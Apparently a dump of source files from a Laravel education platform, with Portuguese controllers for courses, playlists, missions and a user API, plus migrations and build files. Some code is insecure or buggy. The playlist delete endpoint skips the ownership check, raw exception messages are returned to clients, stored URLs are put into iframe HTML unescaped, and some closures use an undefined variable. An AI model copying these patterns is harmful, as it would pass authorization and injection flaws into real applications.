Auth::user()->id], ['produto_id', '=', $curso->id]])->get()); $curso->transacoes = $curso->transacoes->unique(function ($item) { return $item->id; }); if(count($curso->transacoes) > 0) { $curso->statusPagamento = $curso->transacoes[0]->status; } foreach ($curso->transacoes as $transacao) { if($transacao->status == 3 || $transacao->status == 4) { $curso->statusPagamento = $transacao->status; break; } } } // dd($curso->avaliacoes_user[0]->user->name); // dd($curso); // dd($curso->transacoes); // dd($curso->topicos); return response()->json(["data" => ["curso" => $curso, "matricula" => $matricula]]); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>/database/migrations/2019_08_08_111945_create_teste_nivelamentos_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateTesteNivelamentosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('teste_nivelamentos', function(Blueprint $table) { $table->increments('id'); $table->timestamps(); $table->text('descricao', 65535)->nullable(); $table->text('recomendacoes')->nullable(); $table->float('tempo', 10, 0)->nullable(); $table->string('titulo'); $table->integer('user_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('teste_nivelamentos'); } } <file_sep>/app/Http/Controllers/Playlist/Api/PlaylistApiController.php <?php namespace App\Http\Controllers\Playlist\Api; use App\Entities\Playlist\Playlist; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; class PlaylistApiController extends Controller { public function listar() { try { return response()->json(Playlist::where('user_id', Auth::user()->id)->orderBy('id', 'DESC') ->select('playlists.id', 'playlists.user_id', 'playlists.user_id as artist', 'playlists.titulo', 'playlists.created_at') ->with(['audios' => function ($query) { $query->select('audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->get()); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function show($idPlaylist) { try { $playlist = Playlist::where('user_id', Auth::user()->id) ->select('playlists.id', 'playlists.user_id', 'playlists.user_id as artist', 'playlists.titulo', 'playlists.created_at') ->with(['audios' => function ($query) { $query->select('audios.id', 'audios.titulo as title', 'audios.user_id as artist', 'audios.file as url', 'audios.descricao', 'audios.duracao as duration'); }]) ->find($idPlaylist); if (!$playlist) { return response()->json(['error' => 'Nenhuma playlist foi encontrada']); } return response()->json($playlist); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao encontrar", "message:" => $exception->getMessage()]); } } public function store(Request $request) { $validate = Validator::make($request->all(), [ 'titulo' => ['required'], 'audio_id' => ['required'], ], [ 'audio_id.required' => 'Selecione pelo menos 1 áudio em sua playlist.' ]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } try { $playlist = Playlist::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo') ]); $playlist->audios()->attach($request->get('audio_id')); return response()->json('Playlist cadastrada com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao criar playlist", "message:" => $exception->getMessage()]); } } public function update(Request $request, $idPlaylist) { $validate = Validator::make($request->all(), ['titulo' => ['required']]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } try { Playlist::where('user_id', Auth::user()->id)->find($idPlaylist)->update(['titulo' => $request->get('titulo')]); return response()->json('Playlist atualizada com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao atualizar playlist", "message:" => $exception->getMessage()]); } } public function updateAudios(Request $request, $idPlaylist) { $validate = Validator::make($request->all(), [ 'audio_id' => ['required'], ], [ 'audio_id.required' => 'Selecione pelo menos 1 áudio em sua playlist.' ]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } try { $playlist = Playlist::where('user_id', Auth::user()->id)->find($idPlaylist); $playlist->audios()->sync($request->get('audio_id')); return response()->json('Playlist atualizada com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao atualizar playlist", "message:" => $exception->getMessage()]); } } public function removeOneAudio(Request $request, $idPlaylist) { try { $playlist = Playlist::where('user_id', Auth::user()->id)->find($idPlaylist); $playlist->audios()->detach($request->get('audio_id')); return response()->json('Playlist atualizada com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao atualizar playlist", "message:" => $exception->getMessage()]); } } public function storeOneAudio(Request $request, $idPlaylist) { try { $playlist = Playlist::where('user_id', Auth::user()->id)->find($idPlaylist); $playlist->audios()->attach($request->get('audio_id')); return response()->json('Playlist atualizada com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao atualizar playlist", "message:" => $exception->getMessage()]); } } public function destroy($idPlaylist) { try { $playlist = Playlist::find($idPlaylist); $playlist->audios()->detach(); $playlist->delete(); return response()->json('Playlist removida com sucesso!'); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao remover playlist", "message:" => $exception->getMessage()]); } } } <file_sep>/gulpfile.js // including plugins var concat = require('gulp-concat'); var gulp = require('gulp'), uglify = require("gulp-uglify"); //Concatenar os arquivos gulp.task('concacScripts', function() { return gulp.src(['./public/assets/js/smooth-scrolling.js', './public/assets/js/scrolling-nav.js', './public/assets/js/Chart-rounded.min.js']) .pipe(concat('dev/scripts.js')) .pipe(gulp.dest('./public/assets/js/')); }); // Minify file gulp.task('minifyJS', function () { gulp.src('./public/assets/js/dev/scripts.js')// path to your files .pipe(uglify()) .pipe(concat('script.js')) .pipe(gulp.dest('public/assets/js/dist')); }); gulp.task('dev', gulp.series('concacScripts','minifyJS')); <file_sep>/app/Entities/TesteNivelamento/TesteNivelamento.php <?php namespace App\Entities\TesteNivelamento; use App\User; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Auth; class TesteNivelamento extends Model { protected $table = "teste_nivelamentos"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'tempo', 'recomendacoes' ]; public function questoes() { return $this->hasMany(TesteNivelamentoQuestao::class, 'teste_id')->oldest('created_at'); } public function direcionamentos() { return $this->hasMany(TesteNivelamentoDirecionamento::class, 'teste_id'); } public function user() { return $this->belongsTo(User::class, 'user_id'); } public function resultados() { return $this->hasMany(TesteNivelamentoResultado::class, 'teste_id') ->where('user_id', Auth::user()->id) ->where('status', 0); } } <file_sep>/app/Http/Controllers/Missoes/Admin/MissoesController.php <?php namespace App\Http\Controllers\Missoes\Admin; use App\Entities\Missao\Missao; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Input; class MissoesController extends Controller { public function index(Request $request) { $missoes = Missao::orderBy('id', 'DESC')->paginate(6); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; if($tem_pesquisa) { $missoes = Missao::where('titulo', 'like', '%' . Input::get('pesquisa') . '%')->paginate(6); } return view('pages.missoes.admin.index', compact('missoes')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); $values['user_id'] = Auth::user()->id; Missao::create($values); return redirect()->route('gestao.missoes.listar')->with('message', 'Missão cadastrada com sucesso!'); } public function fetch($id, Request $request) { $missao = Missao::find($id); return $missao->toJson(); } public function update($id, Request $request) { $this->validate($request, [ 'titulo' => 'required' ]); $values = $request->all(); Missao::find($id)->update($values); return redirect()->route('gestao.missoes.listar')->with('message', 'Missão atualizada com sucesso!'); } public function delete($id) { Missao::find($id)->delete(); return redirect()->route('gestao.missoes.listar')->with('message', 'Missão excluída com sucesso!'); } } <file_sep>/database/migrations/2019_08_08_111945_create_comentario_topico_curso_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateComentarioTopicoCursoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('comentario_topico_curso', function(Blueprint $table) { $table->integer('id', true); $table->integer('topico_curso_id'); $table->integer('user_id'); $table->text('conteudo', 65535); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('comentario_topico_curso'); } } <file_sep>/app/LiberacaoAplicacaoEscola.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class LiberacaoAplicacaoEscola extends Model { protected $table = 'liberacao_aplicacao_escola'; //Preenchiveis protected $fillable = [ 'aplicacao_id', 'escola_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function aplicacao() { return $this->belongsTo('App\Aplicacao'); } public function escola() { return $this->belongsTo('App\Escola'); } } <file_sep>/database/migrations/2019_08_08_111945_create_plano_aulas_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreatePlanoAulasTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('plano_aulas', function(Blueprint $table) { $table->increments('id'); $table->timestamps(); $table->integer('user_id'); $table->integer('grade_aula_id'); $table->string('assunto'); $table->text('tarefa_classe', 65535); $table->text('tarefa_casa', 65535)->nullable(); $table->date('data')->nullable(); $table->text('objetivos', 65535)->nullable(); $table->text('topicos_conhecimento', 65535)->nullable(); $table->string('habilidades_competencias'); $table->text('etapas_atividades', 65535)->nullable(); $table->text('recursos_necessarios', 65535)->nullable(); $table->text('avaliacao', 65535)->nullable(); $table->text('metodologia', 65535)->nullable(); $table->text('tema', 65535)->nullable(); $table->string('nivel_ensino'); $table->string('ano_serie')->nullable(); $table->string('materia'); $table->integer('quantidade_aulas'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('plano_aulas'); } } <file_sep>/database/migrations/2019_08_08_111945_create_teste_nivelamento_resposta_questao_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateTesteNivelamentoRespostaQuestaoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('teste_nivelamento_resposta_questao', function(Blueprint $table) { $table->increments('id'); $table->string('correta')->nullable(); $table->timestamps(); $table->integer('questao_id'); $table->string('resposta'); $table->integer('teste_nivelamento_resultado_id'); $table->integer('user_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('teste_nivelamento_resposta_questao'); } } <file_sep>/docker/app/start.sh #!/usr/bin/env sh _="$(dirname "$0")" # $_/user_setup www-data $_/composer echo "==> Running migration" php artisan migrate echo "==> Generating key" php artisan key:generate echo "==> Cache config" php artisan cache:clear php artisan config:cache php artisan view:clear # Start php-fpm echo "===> Initializing php-fpm" php-fpm<file_sep>/app/ComentarioPostagemEscola.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ComentarioPostagemEscola extends Model { protected $table = 'comentario_postagem_escola'; //Preenchiveis protected $fillable = [ 'postagem_id', 'user_id', 'conteudo', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function postagem() { return $this->belongsTo('App\Postagem'); } public function user() { return $this->belongsTo('App\User'); } } <file_sep>/public/assets/js/pages/gestao/albuns.min.js window.enviarAlbum = function () { $("#formNovoAlbum #divLoading").addClass("d-none"); $("#formNovoAlbum #divEditar").addClass("d-none"); $("#formNovoAlbum #divEnviando").removeClass("d-none"); }; window.atualizarAlbum = function () { $("#formEditarAlbum #divLoading").addClass("d-none"); $("#formEditarAlbum #divEditar").addClass("d-none"); $("#formEditarAlbum #divEnviando").removeClass("d-none"); }; <file_sep>/app/Http/Controllers/ApiController.php <?php namespace App\Http\Controllers; use App\ResetToken; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Input; use Auth; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Validator; use Intervention\Image\Facades\Image; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Aplicacao; use App\Conteudo; use App\AvaliacaoInstrutor; use App\Matricula; use App\Metrica; use App\AvaliacaoConteudo; use App\ProgressoConteudo; use App\CodigoTransmissao; use App\User; use App\Turma; use App\AlunoTurma; use App\PostagemTurma; use App\Badge; use App\BadgeUsuario; use App\DuvidaProfessor; use App\ComentarioDuvidaProfessor; use App\Entities\Glossario\Repository; class ApiController extends Controller { public function index() { return response()->json(["success" => "Api para comunicação das aplicações Jean Piaget, para mais informações leia a documentação."], 200, [], JSON_UNESCAPED_UNICODE); } public function userStore(Request $request) { $customMessages = [ 'name.required' => "O campo Nome é obrigatório.", 'email.required' => "O campo E-mail é obrigatório.", 'email.unique' => "E-mail já foi utilizado.", 'email.email' => "O campo E-mail deve ser um endereço de e-mail válido.", "data_nascimento.required" => "O campo Data de nascimento é obrigatório.", "data_nascimento.date_format" => "Data de nascimento é inválida.", "password.required" => "O campo Senha é obrigatório.", "password.min" => "O campo Senha deve ter no mínimo :min caracteres.", "password.confirmed" => "A confirmação de Senha não está correta", ]; $validate = Validator::make($request->all(), [ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'], 'data_nascimento' => ['required', 'string', 'date_format:d/m/Y'], 'password' => ['required', 'string', 'min:6', 'confirmed'] ], $customMessages); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } $dateInput = str_replace("/", '-', $request->get('data_nascimento')); try { User::create( ['name' => $request->get('name'), 'email' => $request->get('email'), 'data_nascimento' => date('Y-m-d', strtotime($dateInput)), 'password' => <PASSWORD>($request->get('password')), 'ultima_atividade' => date("Y-m-d H:i:s") ]); return response()->json(['success' => 'Cadastro realizado com sucesso!']); } catch (\Exception $exception) { return response()->json(['error' => 'Erro ao realizar cadastro. ' . $exception->getMessage()]); } } public function userUpdate(Request $request) { $userId = Auth::user()->id; /** * Update profile */ if ($request->get('password') === null) { $validate = Validator::make($request->all(), [ 'name' => ['required', 'string', 'max:255'], 'data_nascimento' => ['required', 'string'] ]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } try { User::find($userId)->update([ 'name' => $request->get('name'), 'data_nascimento' => date('Y-m-d', strtotime($request->get('data_nascimento'))), 'ultima_atividade' => date("Y-m-d H:i:s") ]); return response()->json(['success' => 'Perfil alterado com sucesso!']); } catch (\Exception $exception) { return response()->json(['error' => 'Erro ao atualizar perfil. ' . $exception->getMessage()]); } } /** * Update password */ $validate = Validator::make($request->all(), [ 'name' => ['required', 'string', 'max:255'], 'data_nascimento' => ['required', 'string'], 'password' => ['required', 'string', 'min:6', 'confirmed'] ]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } try { User::find($userId)->update([ 'name' => $request->get('name'), 'data_nascimento' => date('Y-m-d', strtotime($request->get('data_nascimento'))), 'password' => <PASSWORD>($request->get('password')), 'ultima_atividade' => date("Y-m-d H:i:s") ]); return response()->json(['success' => 'Perfil realizado com sucesso!']); } catch (\Exception $exception) { return response()->json(['error' => 'Erro ao atualizar perfil. ' . $exception->getMessage()]); } } public function userUpdateImage(Request $request) { try { $userAuth = User::find(Auth::user()->id); if ($request->hasFile('image_name') && $request->file('image_name')->isValid()) { $name = uniqid($userAuth->id) . kebab_case(uniqid(date('HisYmd'))); $extension = pathinfo($request->image_name->getClientOriginalName())['extension']; if ($name && $extension) { $nameImage = "{$name}.{$extension}"; } else { $nameImage = ""; } if (Storage::disk('local')->has('uploads/usuarios/perfil/' . $userAuth->img_perfil)) { Storage::disk('local')->delete('uploads/usuarios/perfil/' . $userAuth->img_perfil); } $upload = $request->image_name->storeAs('uploads/usuarios/perfil', $nameImage); if (!$upload) { return response()->json(array('response' => false, 'data' => 'Falha no upload da imagem'), 500); } $userAuth->update(['img_perfil' => $nameImage]); return response()->json('Imagem atualizada com succeso!'); } return response()->json(array('response' => false, 'data' => 'Falha no upload da imagem'), 500); } catch (\Exception $exception) { return response()->json(['error' => 'Erro ao atualizar imagem. ' . $exception->getMessage()]); } } public function userForgetPass(Request $request) { $emailInput = $request->get('email'); $validate = Validator::make($request->all(), ['email' => ['required', 'string', 'email', 'max:255'],]); if ($validate->fails()) { return response()->json(['error' => true, 'errorMessage' => $validate->errors()]); } if (User::where('email', $emailInput)->exists() === false) { return response()->json(['error' => true, 'errorMessage' => 'E-mail não cadastrado.']); } $token = md5(uniqid(time(), true)); if (ResetToken::where('email', '=', $emailInput)->first() != null) { $resetToken = ResetToken::where('email', '=', $emailInput)->first(); $resetToken->delete(); /*$resetToken->token = $token; $resetToken->created_at = date('Y-m-d H:i:s'); ResetToken::find($resetToken->id)->update([ 'token' => $token, 'created_at' => date('Y-m-d H:i:s') ]); $resetToken->save();*/ } ResetToken::create(['email' => $emailInput, 'token' => $token, 'created_at' => date('Y-m-d H:i:s')]); $userEmail = $request->email; $userName = ucwords(User::where('email', '=', $request->email)->first()->name); $data = ['email' => $userEmail, 'name' => $userName, 'token' => $token]; Mail::send('mail.reset-email', $data, function ($message) use ($data) { $message->from('<EMAIL>', 'Suporte J Piaget'); $message->to($data['email'], $data['name'])->subject('Link para resetar sua senha'); }); return response()->json(['success' => 'Enviamos para seu email um link para resetar sua senha, verifique em sua caixa de entrada!']); } public function aplicacao($idAplicacao) { if (App\Aplicacao::find($idAplicacao) != null) { $aplicacao = App\Aplicacao::find($idAplicacao); } else { \Session::flash('warning', 'Aplicação não encontrada!'); return redirect()->route('catalogo'); } Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Jogar aplicação - ' . $aplicacao->id ]); return view('play.aplicacao-fullscreen')->with(compact('aplicacao')); } public function postLogin(Request $request) { if (Auth::attempt(['email' => $request->email, 'password' => $request->password], ($request->get('remember') ? true : false))) { return response()->json([ "success" => "Autenticado com sucesso!", "logado" => Auth::check(), "user" => Auth::user(), ]); } else { return response()->json(["error" => "Usuário ou senha incorretos."]); } } public function logout() { Auth::logout(); return response()->json(["success" => "Deslogado com sucesso."]); } public function getUser() { if (Auth::check()) { $user = User::where('id', Auth::user()->id) ->select('id', 'name', 'email', 'img_perfil as avatar', 'nome_completo', 'data_nascimento as born_date', 'ultima_atividade') ->first(); return response()->json(["success" => "Você está autenticado!", "user" => $user]); //return response()->json(["success" => "Você está autenticado!", "user" => Auth::user()]); } else { return response()->json(["error" => "Não autenticado", "auth" => false]); } } public function getAplicacoes(Request $request) { // dd($request); if ($request->categoria != null) { if (Categoria::where('titulo', '=', $request->categoria)->first() != null) { $categoria = Categoria::where('titulo', 'like', $request->categoria)->first(); } else { $categoria = null; } } else { $categoria = null; } if ($categoria != null) { $aplicacoes = Aplicacao::with('categoria')->where([['status', '=', '1'], ['categoria_id', '=', $categoria->id]]); $aplicacoes = $aplicacoes->orWhere([['status', '=', '1'], ['tags', 'like', '%' . $categoria->titulo . '%']]); } elseif ($request->marcador != null && $request->marcador != "" && $request->marcador != "0") { $aplicacoes = Aplicacao::with('categoria')->where([['status', '=', '1'], ['categoria_id', '=', $request->marcador]]); $aplicacoes = $aplicacoes->orWhere([['status', '=', '1'], ['tags', 'like', '%' . $request->marcador . '%']]); } else { $aplicacoes = Aplicacao::with('categoria')->where([['status', '=', '1']]); } $aplicacoes = $aplicacoes->get(); foreach ($aplicacoes as $aplicacao) { // $aplicacao->marcadores = json_decode($aplicacao->tags); $aplicacao->marcadores = $aplicacao->tags; } $categorias = Categoria::where([['tipo', '=', 0]]) ->orWhere([['tipo', '=', 3]]) // ->take(12) // ->distinct() ->orderBy('titulo', 'asc') ->get() ->unique('titulo'); $marcadores = []; foreach (Aplicacao::groupBy('tags')->pluck('tags') as $tags) { if ($tags != null) { foreach ($tags as $tag) { if (!in_array($tag, $marcadores) && !$categorias->contains('titulo', $tag) && $tag != "") { array_push($marcadores, $tag); } } } } return response()->json(["success" => "Aplicações carregadas com sucesso!", "aplicacoes" => $aplicacoes, "categorias" => $categorias, "marcadores" => $marcadores]); } public function getAplicacao($idAplicacao) { if (Aplicacao::with('categoria')->find($idAplicacao) != null) { $aplicacao = Aplicacao::with('categoria')->find($idAplicacao); // $aplicacao->marcadores = json_decode($aplicacao->tags); $aplicacao->marcadores = $aplicacao->tags; $aplicacao->relacionados = Aplicacao::with('categoria')->where([['id', '!=', $aplicacao->id], ['categoria_id', '=', $aplicacao->categoria_id]])->get(); } else { return response()->json(["error" => "Aplicação não encontrada!"]); } return response()->json(["success" => "Aplicação encontrada com sucesso!", "aplicacao" => $aplicacao]); } public function getAplicacaoPlay($idAplicacao) { if (Aplicacao::find($idAplicacao) != null) { $aplicacao = Aplicacao::find($idAplicacao); } else { return response()->json(["error" => "Aplicação não encontrada!"]); // \Session::flash('warning', 'Aplicação não encontrada!'); // return redirect()->route('catalogo'); } Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Jogar aplicação - ' . $aplicacao->id ]); return redirect(env('APP_URL') . "/uploads/aplicacoes/" . $idAplicacao . "/"); // return view('play.aplicacao-fullscreen')->with( compact('aplicacao') ); } public function postNovaMetrica(Request $request) { if ($request->titulo == null) { return response()->json(["error" => "Você precisa preencher o título da métrica!"]); } // if($request->descricao == null) // { // return response()->json([ "error" => "Você precisa preencher a descrição da métrica!" ]); // } Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => $request->titulo, 'descricao' => $request->descricao ]); return response()->json(["success" => "Métrica cadastrada com sucesso!"]); } public function getConteudos() { if (Input::get('qt') == null) $amount = 100; else $amount = Input::get('qt'); if (Input::get('ordem') == null) $ordem = "recentes"; else $ordem = Input::get('ordem'); if (Input::get('categoria') == null) $categoria = ""; elseif (Input::get('categoria') == "geral") $categoria = ""; else $categoria = Input::get('categoria'); if ($categoria != null) { if (Categoria::where('titulo', '=', $categoria)->first() != null) { $categoria = Categoria::where('titulo', '=', $categoria)->first()->id; } } // Carregar aplicacoes if (Input::get('pesquisa') == null || Input::get('pesquisa') == "") { $pesquisa = null; if ($categoria != null) $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); else $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1']]); if ($categoria != null) $conteudos = Conteudo::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); else $conteudos = Conteudo::take($amount)->where([['status', '=', '1']]); } else { $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); $conteudos = Conteudo::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); } if ($ordem == 'recentes') { $aplicacoes = $aplicacoes->orderBy('created_at', 'desc'); $conteudos = $conteudos->orderBy('created_at', 'desc'); $ordem = "Mais recentes"; } elseif ($ordem == 'antigos') { $aplicacoes = $aplicacoes->orderBy('created_at', 'asc'); $conteudos = $conteudos->orderBy('created_at', 'asc'); $ordem = "Mais antigos"; } elseif ($ordem == 'alfabetica') { $aplicacoes = $aplicacoes->orderBy('titulo', 'asc'); $conteudos = $conteudos->orderBy('titulo', 'asc'); $ordem = "Ordem Alfabética"; } $aplicacoes = $aplicacoes->get(); $conteudos = $conteudos->get(); $categorias = Categoria::take(8)->get(); $videos = $conteudos->filter(function ($c) { return $c->tipo == 3; }); $slides = $conteudos->filter(function ($c) { return ($c->tipo == 4 && (strpos($conteudo->conteudo, ".ppt") !== false || strpos($conteudo->conteudo, ".pptx") !== false)); }); $documentos = $conteudos->filter(function ($c) { return $c->tipo == 1 || ($c->tipo == 4 && (strpos($conteudo->conteudo, ".ppt") == false && strpos($conteudo->conteudo, ".pptx") == false)); }); $apostilas = $conteudos->filter(function ($c) { return $c->tipo == 11; }); $success = "Conteúdos carregados com sucesso!"; return response()->json(compact('success', 'conteudos', 'pesquisa', 'amount', 'ordem', 'categorias')); // return response()->json( compact('success', 'conteudos', 'videos', 'slides', 'documentos', 'aplicacoes', 'pesquisa', 'amount', 'ordem', 'categorias') ); } public function getConteudo($idConteudo) { if (Conteudo::find($idConteudo) != null) { $conteudo = Conteudo::find($idConteudo); } else { return response()->json(["error" => "Conteúdo não encontrado!"]); } return response()->json(["success" => "Conteúdo encontrado com sucesso!", "conteudo" => $conteudo]); } public function getConteudoPlay($idConteudo) { if (Conteudo::find($idConteudo)) { $conteudo = Conteudo::find($idConteudo); } else { return response()->json(["error" => "Conteúdo não encontrado!"]); } if ($conteudo->status != 1) { if (Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $conteudo->user_id != Auth::user()->id) : true) { return response()->json(["error" => "Conteúdo não encontrado!"]); } } if ($conteudo->tipo == 2) { if (strpos($conteudo->conteudo, "soundcloud.com") !== false) { $conteudo->conteudo = '<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=' . $conteudo->conteudo . '&color=%236766a6&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>'; } elseif (strpos($conteudo->conteudo, "http") !== false || strpos($conteudo->conteudo, "www") !== false) { $conteudo->conteudo = '<audio controls style="width: 100%;"> <source src="' . $conteudo->conteudo . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; } else { $conteudo->conteudo = '<audio controls style="width: 100%;"> <source src="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; } } else if ($conteudo->tipo == 3) { if (strpos($conteudo->conteudo, "youtube") !== false || strpos($conteudo->conteudo, "youtu.be") !== false) { if (strpos($conteudo->conteudo, "youtu.be") !== false) { $conteudo->conteudo = str_replace("youtu.be", "youtube.com", $conteudo->conteudo); } $conteudo->conteudo = str_replace("/watch?v=", "/embed/", $conteudo->conteudo); if (strpos($conteudo->conteudo, "&") !== false) { $conteudo->conteudo = substr($conteudo->conteudo, 0, strpos($conteudo->conteudo, "&")); } $conteudo->conteudo = '<iframe src="' . $conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($conteudo->conteudo, "vimeo") !== false) { if (strpos($conteudo->conteudo, "player.vimeo.com") === false) $conteudo->conteudo = str_replace("vimeo.com/", "player.vimeo.com/video/", $conteudo->conteudo); $conteudo->conteudo = '<iframe src="' . $conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen> </iframe>'; } else { $conteudo->conteudo = '<video controls style="width: 100%; height: 41vw;"> <source src="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" type="video/mp4"> Your browser does not support the audio element. </video>'; } } else if ($conteudo->tipo == 4) { if (strpos($conteudo->conteudo, ".ppt") !== false || strpos($conteudo->conteudo, ".pptx") !== false) { $conteudo->conteudo = '<iframe src="https://view.officeapps.live.com/op/view.aspx?src=' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($conteudo->conteudo, ".html") !== false) { $conteudo->conteudo = '<iframe src="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } else { $conteudo->conteudo = '<object data="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" type="application/pdf" style="width: 100%; height: 41vw;"> </object>'; } } $conteudo->qtAvaliacoesPositivas = AvaliacaoConteudo::where([['avaliacao', '=', '1'], ['conteudo_id', '=', $idConteudo]])->count(); $conteudo->qtAvaliacoesNegativas = AvaliacaoConteudo::where([['avaliacao', '=', '0'], ['conteudo_id', '=', $idConteudo]])->count(); $conteudo->minhaAvaliacao = AvaliacaoConteudo::where([['user_id', '=', Auth::user()->id], ['conteudo_id', '=', $idConteudo]])->first(); if (!ProgressoConteudo::where([['conteudo_id', '=', $idConteudo], ['tipo', '=', 2], ['user_id', '=', Auth::user()->id]])->exists()) { ProgressoConteudo::create([ 'conteudo_id' => $idConteudo, 'tipo' => 2, 'user_id' => Auth::user()->id ]); } return view('play.conteudo-fullscreen')->with(compact('conteudo')); } public function getCodigoTransmissao($idTransmissao) { $transmissao = CodigoTransmissao::where([['id', '=', $idTransmissao], ['status', '=', 1]])->orWhere([['token', '=', $idTransmissao], ['status', '=', 1]])->first(); if ($transmissao == null) { return response()->json(["error" => "Transmissão não encontrada!"]); } else { if ($transmissao->tipo == 1 || $transmissao->tipo == 2) { return response()->json(["success" => "Código de transmissão encontrado!", 'transmissao' => $transmissao]); } else { return response()->json(["error" => "Transmissão não encontrada!"]); } } return response()->json(["error" => "Transmissão não encontrada!"]); } public function __construct(Repository $repository) { $this->repository = $repository; } public function getGlossario($letra = 'A') { if (strlen($letra) == 1) { $glossarios = $this->repository->all($letra); } else { $glossarios = $this->repository->search($letra); } return response()->json(["success" => "Palavras encontradas!", 'glossarios' => $glossarios, 'letra' => $letra]); } public function getBadges() { $badges = Badge::where([['visibilidade', '=', '1']])->get(); foreach (BadgeUsuario::with('badge')->where('user_id', '=', Auth::user()->id)->get() as $minha) { if ($badges->contains(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })) { $badges->first(function ($value, $key) use ($minha) { return $value->id == $minha->badge->id; })->desbloqueada = true; } else { $minha = $minha->badge; $minha->desbloqueada = true; $badges->push($minha); } } return response()->json(["success" => "Medalhas carregadas com sucesso!", 'badges' => $badges]); } public function getMuralTurma($idTurma) { if 